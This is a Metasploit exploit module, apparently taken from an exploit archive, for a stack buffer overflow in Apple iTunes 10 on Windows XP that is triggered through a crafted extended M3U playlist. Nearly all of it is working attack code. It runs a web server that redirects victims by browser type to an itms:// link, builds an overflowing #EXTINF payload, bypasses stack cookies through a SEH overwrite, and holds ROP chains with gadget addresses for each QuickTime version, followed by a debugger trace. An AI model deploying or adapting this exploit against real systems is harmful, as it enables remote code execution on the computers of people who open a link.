Apple iTunes 10 – Extended M3U Stack Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Apple iTunes 10 Extended M3U Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in iTunes 10.4.0.80 to 10.6.1.7. When opening an extended .m3u file containing an "#EXTINF:" tag description, iTunes will copy the content after "#EXTINF:" without appropriate checking from a heap buffer to a stack buffer, writing beyond the stack buffer's boundary, which allows code execution under the context of the user. Please note before using this exploit, you must have precise knowledge of the victim machine's QuickTime version (if installed), and then select your target accordingly. In addition, even though this exploit can be used as remote, you should be aware the victim's browser behavior when opening an itms link. For example, IE/Firefox/Opera by default will ask the user for permission before launching the itms link by iTunes. Chrome will ask for permission, but also spits a warning. Safari would be an ideal target, because it will open the link without any user interaction. }, 'Author' => [ 'Rh0 <rh0[at]z1p.biz>', # discovery and metasploit module 'sinn3r' #Mo' targets & code cleanup, etc ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => ['win'], 'Arch' => ARCH_X86, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0a\x0d", 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\xfc\xfb\xff\xff" # ADD ESP, -0x404 }, 'References' => [ [ 'EDB', '19322' ] ], 'DisclosureDate' => "Jun 21 2012", 'Targets' => [ # Default package for iTunesSetup104.exe ['iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.69 on XP SP3', { 'Ret' => 0x669C197B, # ADD ESP,0xD40 / ret [QuickTime.qts] 'ROP_NOP' => 0x66801044 # RET } ], # Default package for iTunesSetup1041.exe [ 'iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.70 on XP SP3', { 'Ret' => 0x6693A96B, # ADD ESP,0xD40 / ret [QuickTime.qts] 'ROP_NOP' => 0x66801044 # RET } ], [ 'iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.71 on XP SP3', { 'Ret' => 0x6693ACBB, # ADD ESP,0xD40 / ret [QuickTime.qts] 'ROP_NOP' => 0x66801044 # RET } ], ['iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.72 on XP SP3', { 'Ret' => 0x6693afab, # ADD ESP,0xD40 / ret [QuickTime.qts] 'ROP_NOP' => 0x66801044 # RET } ] ] )) end def on_request_uri(cli,request) # re-generate the payload return if ((p = regenerate_payload(cli).encoded) == nil) host = request.headers['HOST'] agent = request.headers['USER-AGENT'] # iTunes browser link m3u_location = "itms://#{host}#{get_resource()}/#{rand_text_alphanumeric(8+rand(8))}.m3u" if request.uri =~ /\.ico$/i # Discard requests for ico files send_not_found(cli) elsif request.uri =~ /\.m3u$/i print_status("Target: #{target.name}") print_status("Sending playlist") send_response(cli, generate_m3u(p), { 'Content-Type' => 'audio/x-mpegurl' }) elsif agent =~ /MSIE (6|7|8)\.0/ and agent =~ /NT 5\.1/ print_status("Redirecting to playlist") send_response(cli, generate_redirect_ie(m3u_location), { 'Content-Type' => 'text/html' }) elsif agent =~ /NT 5\.1/ # redirect Firefox, Chrome, Opera, Safari to iTunes link print_status("Redirecting to playlist") send_redirect(cli, m3u_location) else print_status("Unknown User-Agent: #{agent}") send_not_found(cli) end end # IE did not proper redirect when retrieving an itms:// location redirect via a HTTP header... # ... so use html def generate_redirect_ie(m3u_location) ie_redir = <<-HTML_REDIR <!DOCTYPE HTML> <html> <head> <meta http-equiv="refresh" content="0; URL=#{m3u_location}"> </head> </html> HTML_REDIR ie_redir = ie_redir.gsub(/^\t\t\t/, '') return ie_redir end def generate_m3u(payload) # Bypass stack cookies by triggering a SEH exception before # the cookie gets checked. SafeSEH is bypassed by using a non # safeSEH DLL [QuickTime.qts]. # stack buffer overflow -> # overwrite SEH handler -> # trigger SEH exception -> # rewind stack (ADD ESP, ...) and land in ROP NOP sled -> # virtualprotect and execute shellcode m3u = '#EXTINF:,' # stack layout depends on what iTunes is doing (running or not, playing music etc.) ... # ... so ensure we overwrite a SEH handler to get back to our rop chain m3u << [target.ret].pack("V") * 0x6a # stack pivot/rewind m3u << [target['ROP_NOP']].pack("V") * 30 # ROP NOP sled m3u << gimme_rop m3u << payload # 0x1000 should be enough to overflow the stack and trigger SEH m3u << rand_text_alphanumeric(0x1000 - m3u.length) return m3u end def gimme_rop # thanx to mona.py :) rop_chain = [ :popad, # registers 0x66801044, # EDI: RET 0x7c801ad4, # ESI: VirtualProtect [kernel32.dll] :jmpesp, junk, :ebx, # EBX: Becomes 0x3e8 0xffffffd6, # EDX: Becomes 0x40 0x673650b0, # ECX: lpflOldProtect 0x90909090, #EAX # correct dwSize and flNewProtect :modebx, :addedx, # throw it on the stack :pushad ] # Map gadgets to a specific Quicktime version rop_chain.map! { |g| case target.name when /QuickTime 7\.69/ case g when :popad then 0x66C3E260 when :jmpesp then 0x669F6E21 when :ebx then 0x4CC48017 when :modebx then 0x669A8648 # xor ebx,4CC483FF; ret when :addedx then 0x669FC1C6 # add edx, 0x6a; ret when :pushad then 0x6682A67E else g end when /QuickTime 7\.70/ case g when :popad then 0x66926F5B when :jmpesp then 0x66d6b743 when :ebx then 0x6c1703e8 when :modebx then 0x66b7d8cb # add ebx, 0x93E90000 ; ret when :addedx then 0x66975556 # add edx, 0x6a; ret when :pushad then 0x6689B829 else g end when /QuickTime 7\.71/ case g when :popad then 0x668E2BAA when :jmpesp then 0x66965F78 when :ebx then 0x6c1703e8 when :modebx then 0x66B7DC4B # add ebx, 0x93E90000 ; ret when :addedx then 0x66975956 # add edx, 0x6a; ret when :pushad then 0x66C28B70 else g end when /QuickTime 7\.72/ case g when :popad then 0x66c9a6c0 when :jmpesp then 0x6697aa03 when :ebx then 0x6c1703e8 when :modebx then 0x66b7de1b # add ebx, 0x93E90000 ; ret when :addedx then 0x66975c56 # add edx, 0x6a; ret when :pushad then 0x6684b5c6 else g end end } rop_chain.pack("V*") end def junk rand_text_alpha(4).unpack("L")[0].to_i end end =begin 0:000> r eax=0e5eb6a0 ebx=00000000 ecx=00000183 edx=00000003 esi=0e5eb091 edi=00130000 eip=10ceaa7a esp=0012ee5c ebp=0012ee64 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 iTunes_10000000!iTunesMainEntryPoint+0xb93f3a: 10ceaa7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:000> k ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 0012ee64 10356284 iTunes_10000000!iTunesMainEntryPoint+0xb93f3a 0012eea4 1035657c iTunes_10000000!iTunesMainEntryPoint+0x1ff744 0012eed8 1034de49 iTunes_10000000!iTunesMainEntryPoint+0x1ffa3c 00000000 00000000 iTunes_10000000!iTunesMainEntryPoint+0x1f7309 0:000> !address esi 0c720000 : 0d87d000 - 00ea3000 Type 00020000 MEM_PRIVATE Protect 00000004 PAGE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageHeap Handle 0c720000 0:000> !address edi-10 00030000 : 000ee000 - 00042000 Type 00020000 MEM_PRIVATE Protect 00000004 PAGE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageStack Pid.Tid d1c.d0c =end |